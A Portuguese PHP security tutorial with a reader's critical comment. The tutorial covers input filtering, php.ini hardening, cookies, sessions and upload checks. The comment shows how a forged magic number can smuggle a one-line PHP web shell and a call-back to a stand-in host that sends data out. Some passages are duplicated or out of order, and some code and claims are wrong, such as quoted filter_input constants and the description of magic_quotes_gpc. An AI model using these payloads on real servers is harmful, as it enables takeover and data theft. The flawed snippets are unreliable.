Segurança em PHP
Segurança da informação deve acompanhar ao máximo o avanço e progressos nesta área. O surgimento de empresas que possibilitam soluções tecnológicas para grandes empresas que necessitam de gerenciamento de conteúdo de diversos tipos, também devem acompanhar as necessidades com a segurança que seus clientes irão enfrentar com o uso da aplicação.
Introdução
Mesmo por ser uma linguagem largamente usada, a exploração das vulnerabilidades do PHP cobram a atenção dos programadores, que devem verificar questões básicas de desenvolvimento para garantir o máximo de segurança em suas aplicações PHP. Grande parte dos erros são cometidos com a falta de cuidados na criação e validação dos formulários, neles se encontram as maiores brechas para ataques de hackers, que pretendem roubar dados de clientes ou derrubar o sistema.
Serão abordados alguns pontos cruciais que um bom programador PHP deve estar atento na construção do sistema web.
No exemplo acima, a variável $autorizado não é inicializada, e com a diretiva register_globals ativa ela é facilmente alterada através do GET autenticar.php?autorizado=1, sendo assim, qualquer usuário pode acessar o conteúdo sensível mesmo que não passe pela função usuario_autenticado(). O ideal seria inicializar a variável $autorizado = false, assim nem com register_globals seria possível alterar seu valor.
O problema aqui não é a diretiva, mas sim o fato de não sabermos de onde vem os valores, garantir a correta validação dos dados enviados pelo usuário e que todas as variáveis sejam inicializadas corretamente. Desativar a diretiva resolve um problema, de onde vem os valores, os outros resolvemos com boas validações, limitando tamanho, quantidade, tipo e formato do dado enviado e a inicializando as variáveis com valores padrões, de preferência com o valor que define-se seguro.
De fato não existe uma forma 100% segura de fazer uploads de arquivos, todas as precauções devem ser tomadas para garantir o máximo de segurança. Inicialmente define quais tipos de arquivos serão aceitos, valide os formatos e tenha certeza de que está salvando no servidor os arquivos com as extensões que são permitidas, se for imagem verificamos se possui dimensões e para remover possíveis scripts injetados podemos redimensionar a imagem, em outros formatos pode se abrir o arquivo e procurar por <?php ?>, valide o usuário também, permitir que somente usuários cadastrados possam fazer uploads, mas isso não adiantará se não tiver um bom sistema de login com senhas fortes e a prova de SQL Injection, e por último, salve os arquivos em uma pasta onde não são executados scripts e que as permissões de acesso sejam restritas ao php somente.
No exemplo acima é usado como validação o chamado 'magic byte', uma assinatura encontrada no início dos arquivos quando lidos como texto, com ela é possível validar alguns formatos onde existe uma assinatura comum, porém essa assinatura também pode ser forjada, então não dispensa outras validações e nem outras medidas de segurança comentadas anteriormente.
Níveis disponíveis para configuração do 'error_reporting':
Serão abordados alguns pontos cruciais que um bom programador PHP deve estar atento na construção do sistema web.
Ataques
SQL Injection e XSS attack
Qualquer aplicação pode receber dados externos do servidor, e só o programador vai dizer o que deve ser aceito ou ignorado pela aplicação. Ataques podem ser feitos via GET, POST, COOKIE e outros, alguns desses ataques são chamados de SQL Injections ou XSS que geralmente são feitos através de formulários que podem até possuir uma forma de validação no cliente, mas que certamente não é o suficiente, a validação desses dados é imprescindível para garantir segurança e estabilidade no sistema já que as SQL Injections são capazes de destruir o sistema, permitir o roubo e ainda a perda de todos os dados.
//Convertendo caracteres especiais para a realidade HTML
$varLimpa = htmlspecialchars($_POST['infoForm'], ENT_QUOTES, 'UTF-8');
//voltando os caracteres originais
$varSuja = htmlspecialchars_decode($varLimpa );
//filtros
$email = "clifton@example"; //Note the .com missing
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
//válido
}
//recebendo um parâmetro GET, e validando se é inteiro
$id = filter_input('INPUT_GET', 'id', 'FILTER_VALIDATE_INT');
Configurações do php.ini
Algumas configurações básicas no arquivo php.ini podem prevenir o sistema de ser muito exposto, como por exemplo configurando a diretiva 'expose_php = off' (que reduz a quantidade de informações visíveis), variáveis como 'allow_url_fopen = Off' (impedem Remote File Inclusion e Local File Inclusion), 'display_errors = Off' (mensagens de erros não são exibidas), 'magic_quotes_gpc = Off' (converte caracteres especiais em barra invertida e impede o SQL Injection), 'register_globals = Off', variáveis globais desativadas.Variáveis Globais
A partir da versão 4.2.0 do PHP, o padrão da diretiva register_globals passou de On para Off, o que significa que não é permitido o uso de variáveis globais. Como o PHP não necessita de declaração de variáveis para usá-las, esta diretiva poderia criar variáveis sem saber de onde elas vem, gerando códigos inseguros. Um exemplo podemos ver no código a seguir:
<?php
// define $autorizado = true somente se o usuário for autenticado
if (usuario_autenticado()) {
$autorizado = true;
}
// Porque nós não inicializamos $autorizado como false, ela pode ser
// definida através de register_globals, como usando GET autenticar.php?autorizado=1
// Dessa maneira, qualquer um pode ser visto como autenticado!
if ($autorizado) {
include "/dados/altamente/sensivel.php";
}
?>
No exemplo acima, a variável $autorizado não é inicializada, e com a diretiva register_globals ativa ela é facilmente alterada através do GET autenticar.php?autorizado=1, sendo assim, qualquer usuário pode acessar o conteúdo sensível mesmo que não passe pela função usuario_autenticado(). O ideal seria inicializar a variável $autorizado = false, assim nem com register_globals seria possível alterar seu valor.
O problema aqui não é a diretiva, mas sim o fato de não sabermos de onde vem os valores, garantir a correta validação dos dados enviados pelo usuário e que todas as variáveis sejam inicializadas corretamente. Desativar a diretiva resolve um problema, de onde vem os valores, os outros resolvemos com boas validações, limitando tamanho, quantidade, tipo e formato do dado enviado e a inicializando as variáveis com valores padrões, de preferência com o valor que define-se seguro.
Cookies
O atributo session.cookie_httponly configurado garante que os cookies de sessão que são armazenados no PHP só possam ser acessados por HTTP, tornando o sistema protegido de ataques como XSS, que utiliza JavaScript.
//php.ini
session.cookie_httponly=1
session.cookie_httponly=1
Tempo de Sessão
Com o parâmetro de tempo configurado em session_cache_expire, a sessão irá durar a quantidade de minutos informada. Quanto menor o tempo, menor vai ser o estrago que um invasor possa efetuar.
session_cache_expire(10); //tempo de sessão igual 10 minutos
session_start();
session_start();
Upload de arquivos
Através do upload de arquivos é possível enviar scripts inteiros que podem dar controle completo do site e do servidor ao atacante, por isso o desenvolvimento de um sistema de upload de arquivos deve ser extremamente cauteloso. Muitas validações devem ser feitas no servidor para tentar impedir a entrada de scripts maliciosos, e a extensão do arquivo é a primeira coisa a ser validada, mas nunca a única, pois ela é facilmente alterada, assim como o mime-type e o content-type.De fato não existe uma forma 100% segura de fazer uploads de arquivos, todas as precauções devem ser tomadas para garantir o máximo de segurança. Inicialmente define quais tipos de arquivos serão aceitos, valide os formatos e tenha certeza de que está salvando no servidor os arquivos com as extensões que são permitidas, se for imagem verificamos se possui dimensões e para remover possíveis scripts injetados podemos redimensionar a imagem, em outros formatos pode se abrir o arquivo e procurar por <?php ?>, valide o usuário também, permitir que somente usuários cadastrados possam fazer uploads, mas isso não adiantará se não tiver um bom sistema de login com senhas fortes e a prova de SQL Injection, e por último, salve os arquivos em uma pasta onde não são executados scripts e que as permissões de acesso sejam restritas ao php somente.
list($largura, $altura) = getimagesize($_FILES["foto"]["tmp_name"]);
if($largura=="" || $altura ==""){
//ARQUIVO INVÁLIDO
}
//validando via magic byte
$filehandle = fopen($_FILES['file']['tmp_name'],"r");
// get file's magic number
$MNumber = bin2hex(fread($filehandle,4));
if ($MNumber!= "d4c3b2a1") {
echo 'bad file format';
exit;
}
No exemplo acima é usado como validação o chamado 'magic byte', uma assinatura encontrada no início dos arquivos quando lidos como texto, com ela é possível validar alguns formatos onde existe uma assinatura comum, porém essa assinatura também pode ser forjada, então não dispensa outras validações e nem outras medidas de segurança comentadas anteriormente.
Restrição de logs
Quanto menos informações, em caso de erros e exceções, forem mostradas, mais a aplicação estará protegida. Estas informações podem ser controladas através dos parâmetros do error_reporting. Também as configurações das funções 'log_errors=On' e 'display_errors'.
int error_reporting ([ int $nível ] )//sintaxe
Níveis disponíveis para configuração do 'error_reporting':
1 E_ERROR 2 E_WARNING 4 E_PARSE 8 E_NOTICE 16 E_CORE_ERROR 32 E_CORE_WARNING 64 E_COMPILE_ERROR 128 E_COMPILE_WARNING 256 E_USER_ERROR 512 E_USER_WARNING 1024 E_USER_NOTICE 6143 E_ALL 2048 E_STRICT 4096 E_RECOVERABLE_ERROR
Desabilitando funções e classes
Através de configurações no php.ini, é possível desabilitar algumas funções e classes, utilizando as diretivas:- disable_functions: diretiva que desabilita funções internas por motivos de segurança
- disable_classes: diretiva que desabilita classes por questões de segurança
Conclusão
Hoje em dia as aplicações web são constante e fortemente atacadas, necessitando ao máximo de segurança em seus códigos.Referências
- Mais segurança em aplicações web com PHP | Grupo de desenvolvedores de PHP do estado de São Paulo
- http://www.inf.furb.br/seminco/2008/apresentacoes/0511/02ergalvao/ergalvao.pdf
- Alerta para uso de variáveis globais no PHP [Dica]
- PHP: Usando a diretiva Register Globals - Manual
- PHP: Escondendo o PHP - Manual
- http://social.technet.microsoft.com/wiki/contents/articles/2800.aspx
Mas venho fazer aqui o papel de chato e informar há algumas falhas graves em alguns conceitos. Então o meu objetivo é alertar os mais incautos.
Eu trabalho com PHP desde quase o seu surgimento, tenho a certificação ZCPE pra evitar delongar a conversa. Vou fazer os contrapontos:
session.cookie_httponly=1 (não é garantia de segurança, os headers do cookie podem sim ser forjados através de uma requisição HTTP - Recomendo uma ferramenta muito interessante pra vc simular isso, que é o Burp Suite, ele permite habilitar um proxy com modo captura e alteração de requisições, que te permite simular códigos arbitrários), então isso de session.cookie_httponly=1, alias é onde mora o perigo: você acha que está seguro porque trancou a porta da frente da casa, mas se esqueceu que a porta dos fundos pode estar com a chave em baixo do tapete.
Outro ponto que exige muita cautela:
$filehandle = fopen($_FILES['file']['tmp_name'],"r");
$MNumber = bin2hex(fread($filehandle,4));
Imagine que um arquivo inicia com sua magic string, tendo o seguinte conteúdo:
// hex2bin('d4c3b2a1'); => ?ò?
?ò?<?php exec($_GET['cmd']); ?>
ou
?ò?<?php file_get_contents('http://connectback?var=sensivel'); ?> // connect back nao é executável em seu exemplo por restricao de fopen, usei só pra exemplificar
É claro que esses dois casos necessitam ser combinados a outros fatores pra de fato ser exploitável, como por exemplo copiar o arquivo com nome original (Permitindo salvar com extensão .php em uma pasta /uploads, e pra piorar que vc acha que o diretório não permite listagem - entrega todos os arquivos de bandeja) ou um sistema de anexos mal pensado que faz "include" do arquivo original.
Descarto outras hipóteses como carregar um shellcode (bugs no core do php) para memória porque o vetor de ataque é muito limitado e geralmente exploram falhas que também poderiam ser exploradas remotamente - sem interação com filesystem.
A minha sugestão é: vai trabalhar com arquivo compactado? Faça uma validação não só no cabeçalho, mas da heurística do arquivo como um todo, por exemplo, um check CRC32 para garantir a integridade do arquivo.
Vai trabalhar com imagem? Use o ImageMagick
$ identify img.jpg
img.jpg JPEG 70x46 70x46+0+0 8-bit sRGB 2.36KB 0.000u 0:00.000
Inviabilizaria um ataque, pois ele deveria estar em nível de esteganografia para garantir a integridade para a checagem da ferramenta identify do ImageMagick e ainda sim conseguir injetar um código arbitrário.
---
E não menos importante, mas limitação de sessão por tempo não é garantia de um "estrago" menor. Simplesmente que a sessão vai expirar no tempo delimitado. Grande parte dos malwares que varrem a internet estabelecem uma backdoor quase imediatamente após o primeiro ataque bem-sucedido.
session_cache_expire(10); // não é garantia de seguranca
Uma coisa que eu acho realmente importante é aumentar a entropia do hash da sessão. Imagina um rede de robôs rodando bilhares de requisições em uma URL com o token de Session IDs aleatórios? Uma hora, cedo ou tarde, irá colidir então melhor que seja o mais tarde possível (ao nível que o custo computacional pule da escada de bilhões para 10^164 - assim por si só ou o custo inviabiliza o ataque ou ele se torna negação de serviço/DoS)